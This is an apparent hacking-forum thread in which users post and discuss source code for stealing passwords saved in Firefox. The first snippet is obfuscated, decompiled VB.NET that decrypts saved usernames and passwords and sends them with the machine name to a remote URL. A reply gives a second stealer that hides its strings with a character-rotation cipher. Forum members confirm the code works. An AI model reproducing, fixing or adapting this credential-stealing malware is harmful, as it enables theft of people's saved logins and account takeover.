[Freaky™]

Can anyone make sense of this code for a firefox password stealer?

Code

Public Shared Sub GetFF()
Dim str4 As String = Nothing
Dim enumerator As IEnumerator
Dim enumerator2 As IEnumerator
Dim flag As Boolean = False
Dim str2 As String = (Environment.GetFolderPath(SpecialFolder.ProgramFiles) & "\Mozilla Firefox\")
Dim str5 As String
For Each str5 In Directory.GetDirectories((Environment.GetFolderPath(SpecialFolder.ApplicationData) & "\Mozilla\Firefox\Profiles"))
If flag Then
Exit For
End If
Dim str6 As String
For Each str6 In Directory.GetFiles(str5)
If Not flag Then
If Regex.IsMatch(str6, "signons.sqlite") Then
QMBVMDQaKJwiKgsHoGrvWKICURnJhnjvyOj.oivGmTktmoB(str5)
QMBVMDQaKJwiKgsHoGrvWKICURnJhnjvyOj.heria = str6
End If
Else
ProjectData.EndApp
Exit For
End If
Next
Next
Dim heria As String = QMBVMDQaKJwiKgsHoGrvWKICURnJhnjvyOj.heria
Dim item2 As New TSECItem
Dim result As New TSECItem
Dim item As New TSECItem
Dim base2 As New Base(heria)
Dim table As DataTable = base2.ExecuteQuery("SELECT * FROM moz_logins;")
Dim table2 As DataTable = base2.ExecuteQuery("SELECT * FROM moz_disabledHosts;")
Try
enumerator = table2.Rows.GetEnumerator
Do While enumerator.MoveNext
Dim current As DataRow = DirectCast(enumerator.Current, DataRow)
str4 = (str4 & Environment.NewLine & "hostname".ToString)
Loop
Finally
If TypeOf enumerator Is IDisposable Then
TryCast(enumerator,IDisposable).Dispose
End If
End Try
QMBVMDQaKJwiKgsHoGrvWKICURnJhnjvyOj.OMhwbbbdVrvk(QMBVMDQaKJwiKgsHoGrvWKICURnJhnjvyOj.bvryeuuo, True, 0)
Try
enumerator2 = table.Rows.GetEnumerator
Do While enumerator2.MoveNext
Dim buffer2 As Byte()
Dim row2 As DataRow = DirectCast(enumerator2.Current, DataRow)
str4 = (str4 & Environment.NewLine & "Application: FireFox")
Dim str7 As String = Convert.ToString(row2.Item("formSubmitURL").ToString)
str4 = (str4 & Environment.NewLine & "URL: " & str7)
Dim inStr As New StringBuilder(row2.Item("encryptedUsername").ToString)
Dim num3 As Integer = QMBVMDQaKJwiKgsHoGrvWKICURnJhnjvyOj.xSGTjizteYUcgxxr(IntPtr.Zero, IntPtr.Zero, inStr, inStr.Length)
Dim ptr As New IntPtr(num3)
Dim data As TSECItem = DirectCast(Marshal.PtrToStructure(ptr, GetType(TSECItem)), TSECItem)
If ((QMBVMDQaKJwiKgsHoGrvWKICURnJhnjvyOj.CqSzxpvjJWBHufugp(data, result, 0) = 0) AndAlso (result.SECItemLen <> 0)) Then
buffer2 = New Byte(((result.SECItemLen - 1) + 1) - 1) {}
ptr = New IntPtr(result.SECItemData)
Marshal.Copy(ptr, buffer2, 0, result.SECItemLen)
str4 = (str4 & Environment.NewLine & "Username: " & Encoding.ASCII.GetString(buffer2))
End If
Dim builder As New StringBuilder(row2.Item("encryptedPassword").ToString)
Dim num2 As Integer = QMBVMDQaKJwiKgsHoGrvWKICURnJhnjvyOj.xSGTjizteYUcgxxr(IntPtr.Zero, IntPtr.Zero, builder, builder.Length)
ptr = New IntPtr(num2)
Dim item5 As TSECItem = DirectCast(Marshal.PtrToStructure(ptr, GetType(TSECItem)), TSECItem)
If ((QMBVMDQaKJwiKgsHoGrvWKICURnJhnjvyOj.CqSzxpvjJWBHufugp(item5, item, 0) = 0) AndAlso (item.SECItemLen <> 0)) Then
Dim destination As Byte() = New Byte(((item.SECItemLen - 1) + 1) - 1) {}
ptr = New IntPtr(item.SECItemData)
Marshal.Copy(ptr, destination, 0, item.SECItemLen)
str4 = String.Concat(New String() { str4, Environment.NewLine, "Passwort: ", Encoding.ASCII.GetString(destination), Environment.NewLine })
QMBVMDQaKJwiKgsHoGrvWKICURnJhnjvyOj.FFString = str4
New WebClient().DownloadString(String.Concat(New String() { QMBVMDQaKJwiKgsHoGrvWKICURnJhnjvyOj.URL, "?action=add&a=10&u=", str7, "&l=", Encoding.ASCII.GetString(buffer2), "&p=", Encoding.ASCII.GetString(destination), "&c=", MyProject.Computer.Name.ToString }))
End If
Loop
Finally
If TypeOf enumerator2 Is IDisposable Then
TryCast(enumerator2,IDisposable).Dispose
End If
End Try
End Sub

Source: http://pastebin.com/cvLgZG01

[SIM-1676753]

What the actual fuck?

Spoiler (Click to View)You can't even skid code properly. Just stop and learn to actually code.

[Freaky™]

What the actual fuck?

Spoiler (Click to View)You can't even skid code properly. Just stop and learn to actually code.

What? I didn't code this. I just want someone to check it to see if it works.

[SIM-1676753]

What? I didn't code this. I just want someone to check it to see if it works.

I never stated you coded it. Why don't you open up Visual Studio and check for yourself.

[Freaky™]

I never stated you coded it. Why don't you open up Visual Studio and check for yourself.

I was advised not to by someone on this forum.

[SIM-1676753]

I was advised not to by someone on this forum.

What makes you think someone here is going to run it either?

[Freaky™]

What makes you think someone here is going to run it either?

No he just told me seeing as I don't know what it is I shouldn't run it. I was just hoping someone can understand it and tell me that it is fine.

[deiski]

It does work, it's just really terrible code.

[SIM-1676753]

It does work, it's just really terrible code.

It's just really terrible decompiled code.

[LordCoder]

Of course you cannot even deobfuscate it and then post it.

[Freaky™]

Of course you cannot even deobfuscate it and then post it.

This is just source code I found on pastebin.

[coolfire]

Imports System.Runtime.InteropServices
Imports System.Text

Module STFF
Sub FF()
For Each Dir As String In System.IO.Directory.GetDirectories(Environment.GetEnvironmentVariable("APPDATA") & CodeRotate.RotateRight("WHjudgg\WAdm`ajsWKmjadg`n"))
Dim dirinfo As New System.IO.DirectoryInfo(Dir)
Dim result As String
Dim spath As String = Environ$("APPDATA") & CodeRotate.RotateRight("WHjudgg\WAdm`ajsWKmjadg`nW") & dirinfo.Name & CodeRotate.RotateRight("*gjbdin)enji")
Dim sFile As String = ReadFile(spath)
Dim sHost As String = Cut(sFile, CodeRotate.RotateRight("cjnoi\h`5"), CodeRotate.RotateRight("'cookM`\gh"))
Dim sUser As String = Cut(sFile, CodeRotate.RotateRight("'`i^mtko`_Pn`mi\h`5"), CodeRotate.RotateRight("'`i^mtko`_K\nnrjm_5"))
Dim sPwd As String = Cut(sFile, CodeRotate.RotateRight("`i^mtko`_K\nnrjm_5"), CodeRotate.RotateRight("'bpd_"))
result = "Host: " + (sHost) + vbNewLine + "user: " + sUser + vbNewLine + "Pass: " + sPwd
RichTextBox1.text += result
Next
End Sub
Function Cut(ByVal sInhalt As String, ByVal sText As String, ByVal stext2 As String) As String
On Error Resume Next
Dim c() As String
Dim c2() As String
c = Split(sInhalt, sText)
c2 = Split(c(1), stext2)
Cut = c2(0)
End Function

Public Class CodeRotate
Public Shared Function RotateRight(ByVal [string] As [String]) As [String]
Dim [retstr] As [String] = [string].Empty
For i As [Int32] = 0 To [string].Length - 1 Step 1
[retstr] += Chr(Asc([string].Chars(i)) + 5)
Next
Return [retstr]
End Function
End Class

Module ReadFile
Function ReadFil(ByVal sFile As String) As String
On Error Resume Next
Dim OpenFile As New System.IO.StreamReader(sFile)
ReadFil = OpenFile.ReadToEnd.ToString
End Function
End Module
End Module

This code is ok but password are crypted.